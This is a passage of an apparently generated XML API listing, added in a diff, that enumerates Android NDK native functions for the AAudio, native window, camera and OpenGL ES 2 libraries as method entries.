+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesPerDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSamplesPerFrame" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_setBufferSizeInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSampleRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setErrorCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setFramesPerDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_convertStreamStateToText" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getChannelCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_createStreamBuilder" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesPerBurst" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_waitForStateChange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getBufferCapacityInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSharingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestStart" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libnativewindow.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurfaceTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBNATIVEWINDOW" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_sendHandleToUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_recvHandleFromUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_allocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_fromHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersTransform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersGeometry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_describe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_toHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_unlockAndPost" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libcamera2ndk.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutput_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_i32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_remove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraOutputTarget_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_double" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_createCaptureRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_createCaptureSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_getAllTags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_add" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_openCamera" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_u8" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_setRepeatingRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_deleteCameraIdList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_getId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_getAllTags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_getCameraCharacteristics" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_addTarget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_getCameraIdList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_removeTarget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_capture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_getDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutput_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_rational" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_stopRepeating" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBCAMERA2NDK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_getConstEntry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_i64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_float" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_unregisterAvailabilityCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraOutputTarget_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_copy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_abortCaptures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_registerAvailabilityCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_getConstEntry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libglesv2.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSetFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorGroupStringAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSelectPerfMonitorCountersAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinishFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBeginPerfMonitorAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtTexObjectStateOverrideiQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramBinarySourceQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterInfoAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBGLESV2" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBufferPointervQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexSubImageQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetShadersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawElementsEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReleaseShaderCompiler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlStringQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAttachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorGroupsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexturesQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterDataAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTestFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCountersAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompileShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOpSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterStringAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCoverageOperationNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenPerfMonitorsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCoverageMaskNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawArraysEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDetachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttachedShaders" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
